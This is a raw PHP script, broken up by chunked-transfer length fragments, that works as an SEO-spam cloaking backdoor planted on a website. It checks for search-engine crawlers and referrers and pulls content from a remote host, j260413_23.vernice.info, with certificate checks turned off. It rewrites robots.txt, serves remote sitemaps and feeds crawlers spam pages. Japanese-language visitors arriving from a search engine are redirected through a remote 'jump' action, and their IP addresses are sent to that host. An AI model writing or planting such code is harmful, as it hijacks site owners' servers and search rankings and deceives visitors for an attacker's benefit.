1 < 6 ?php e 7 rror_re 7 porting 5 (0); 7 @set_ti 7 me_limi 9 t(120); @ 7 ignore_ 7 user_ab 8 ort(1); 7 $tr = " 6 https: 5 //j26 5 0413_ 5 23.ve 7 rnice.i 6 nfo/"; 7 class 5 Req { 8 pub 6 lic fu 7 nction 8 server($ 8 name = ' 6 ', $de a fault = '' c ) { 9 if (e a mpty($name 11 )) { 7 return 6 $_SERV 8 ER; 16 } $name = 7 strtoup c per($name); 11 return is d set($_SERVER[ 8 $name]) 12 ? $_SERVER[$name] 10 : $default; 16 } public function 1a iss() { if ($t 5 his-> b server('HTT 6 PS') & 6 & ("1" 4 == 1d $this->server('HTTPS') || "on c " == strtolo 1a wer($this->server('HTTPS') 1b ))) { return tr 10 ue; } el 7 seif (' 1a https' == $this->server('R 6 EQUEST 6 _SCHEM 34 E')) { return true; } elseif ('4 16 43' == $this->server(' a SERVER_POR 33 T')) { return true; } elseif (' 20 https' == $this->server('HTTP_X_ 6 FORWAR 6 DED_PR 2b OTO')) { return true; } 12 return fa 21 lse; } public function ho 14 st() { $ a host = str 17 val($this->server('HTTP 10 _X_FORWARDED_HOS 8 T') ?: $ 19 this->server('HTTP_HOST') 16 ); return strp a os($host, a ':') ? str 10 str($host, ':', 9 true) : $ 21 host; } public function s 5 cheme 1f () { return $this-> 8 iss() ? f "https" : "http d "; } 12 public function dm 2a () { return $this->scheme() . 8 "://" . d $this->host() 2f ; } public function ip() { 9 if (geten 8 v('HTTP_ 6 CLIENT 15 _IP')) { 6 $ip = 2c getenv('HTTP_CLIENT_IP'); } elseif ( 1c getenv('HTTP_X_FORWARDED_FOR 36 ')) { $ip = getenv('HTTP_X_FORWARDED_FOR') 20 ; } elseif (getenv('REMO 6 TE_ADD 2e R')) { $ip = getenv('REMOTE_ADDR') 1f ; } else { 2d $ip = $this->server('REMOTE_ADDR'); } 13 return $ip 30 ; } public function isc() { 5 $agen 23 t = strtolower($this->server('HTTP_ 7 USER_AG 6 ENT')) 15 ; if ($agent 9 != '' && 7 preg_ma 6 tch('/ 6 google a bot|google 6 |yahoo 6 |bing| 6 aol/si 9 ', $agent 37 )) { return true; } return 24 false; } public function isg e () { $re 6 fer = 23 strtolower($this->server('HTTP_REFE 6 RER')) 14 ; $referbots 1a = 'google|yahoo|bing|aol' 15 ; if ($refer 17 != '' && preg_match("/( f $referbots)/si" 60 , $refer)) { return true; } return false; } public function 14 uri() { 9 if (($pos b = strpos($ 17 this->server('REQUEST_U 4 RI') 7 , '.php 8 ')) !== 17 false) { $s 6 cript_ b name = base 16 name($this->server('SC 6 RIPT_F 5 ILENA f ME')); 27 if (basename($this->server('SCRIPT_ a NAME')) == 1e = $script_name) { 8 $url 12 = $this->server(' 1c SCRIPT_NAME'); } 21 elseif (basename($this->server(' 6 PHP_SE 6 LF')) 44 === $script_name) { $url = $this->server('PHP_SELF') 34 ; } elseif (basename($this->server('ORIG 8 _SCRIPT_ 54 NAME')) === $script_name) { $url = $this->server('ORIG_SCRIPT_NAME') 36 ; } elseif (($pos = strpos($this->server(' f PHP_SELF'), '/' 10 . $script_name) 28 ) !== false) { $url = su 6 bstr($ 1e this->server('SCRIPT_NAME'), 0 7 , $pos) 15 . '/' . $script_name 29 ; } elseif ($this->server('DO 7 CUMENT_ 7 ROOT') b && strpos($ 22 this->server('SCRIPT_FILENAME'), $ 1d this->server('DOCUMENT_ROOT') 22 ) === 0) { $url = 9 str_repla 21 ce($this->server('DOCUMENT_ROOT') 7 , '', $ 2e this->server('SCRIPT_FILENAME')); 11 } $re 8 quri = $ 6 url . 2a substr($this->server('REQUEST_URI'), $pos e + 4); 16 } else { $ 2e requri = substr($this->server('REQUEST_URI'), 27 strpos($this->server('REQUEST_URI'), '/ 17 ')); } c return rtrim 8 ($requri c , '/'); 1a } public function exec 8 Req($url b , $p = arra 3 y() 23 ) { $url = str_replace( 7 ' ', '+ 7 ', $url 12 ); $ch = c 6 url_in 13 it(); curl_ 5 setop 8 t($ch, C 4 URLO 17 PT_URL, $url); 1e curl_setopt($ch, CURLOPT_RETUR 6 NTRANS 5 FER, c 1); 1d curl_setopt($ch, CURLOPT_HEAD 8 ER, 0); 25 curl_setopt($ch, CURLOPT_TIME 5 OUT, 27 20); curl_setopt($ch, CURLOPT_P 2b OST, 1); curl_setopt($ch, CURLOPT_S 6 SL_VER 5 IFYPE 33 ER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFY 2f HOST, 0); curl_setopt($ch, CURLOPT_POST 5 FIELD 8 S, http_ 6 build_ 7 query($ 10 p)); $ou 7 tput = d curl_exec($ch 11 ); $error 7 Code = a curl_errno 18 ($ch); curl_clos 10 e($ch); a if (0 !== 1a $errorCode) { 12 return false; 16 } return $ d output; } 7 } $req 6 = new b Req(); $is 8 c = $req c ->isc(); $is f g = $req->isg() 6 ; $uma 8 p = $tr 9 . "map"; 7 $uri = 9 urldecode 7 ($req-> 13 uri()); $p = array( 9 "dom 7 ain" => c $req->dm(), a "port 13 " => $req->server(' 6 SERVER a _PORT', 80 11 ), "uri" => $ b uri ); if ( e substr($uri, - 7 10) == 7 "robots 5 .txt" c ) { head 7 er("Con 8 tent-typ 6 e:text 7 /plain; 5 char 8 set=utf- a 8"); d 12 ie($req->execReq($ c tr . "robots a ", $p)); } 20 if (substr($uri, -6) == "robots 10 ") { $output 2a = $req->execReq($tr . "robots", $p); 8 $rpt = _ 6 _DIR__ 10 . "/robots.txt" b ; file_ b put_content 9 s($rpt, $ e output); $ e robots_cont = 9 @file_get 15 _contents($rpt); b if (strpos( 1a strtolower($robots_cont), 5 "site 15 map")) { die( 11 "robots.txt file 6 create 8 success 9 !"); 30 } else { die("robots.txt file create fai 20 l!"); } } if (substr($uri, - 9 4) == ".x b ml") { 13 if (strpos($uri, "a 9 llsitemap a .xml") || 16 strpos($uri, "sitemap- 5 index 3f .xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, " 17 index.xml")) { 1d $output = $req->execReq($umap f , $p); 1e header("Content-type:text/" . 14 (substr($output, 0, 9 5) === '< 5 ?xml' b ? 'xml' : 9 'plain') 12 . '; charset=utf-8 c '); 7 die('' 16 . $output); } 1f $output = $req->execReq($tr . " a word", $p) 20 ; header("Content-type:text/ 1a xml; charset=utf-8"); 10 if ($output == " 27 1") { die('' . $req->execReq($u f map, $p)); 2a } else { die('' . $output); } 6 } $lan 18 g = $req->server('HTTP_A 6 CCEPT_ 16 LANGUAGE'); if (!$isc 7 && $isg 13 && strpos($lang, ' 7 ja')!== 10 false) { $p[ 5 "ip"] d = $req->ip() e ; $action b = $tr . "ju 9 mp"; 27 die($req->execReq($action, $p)); } if ( c $isc) { 1e die('' . $req->execReq($tr . " 6 indata d ", $p)); } ?> 0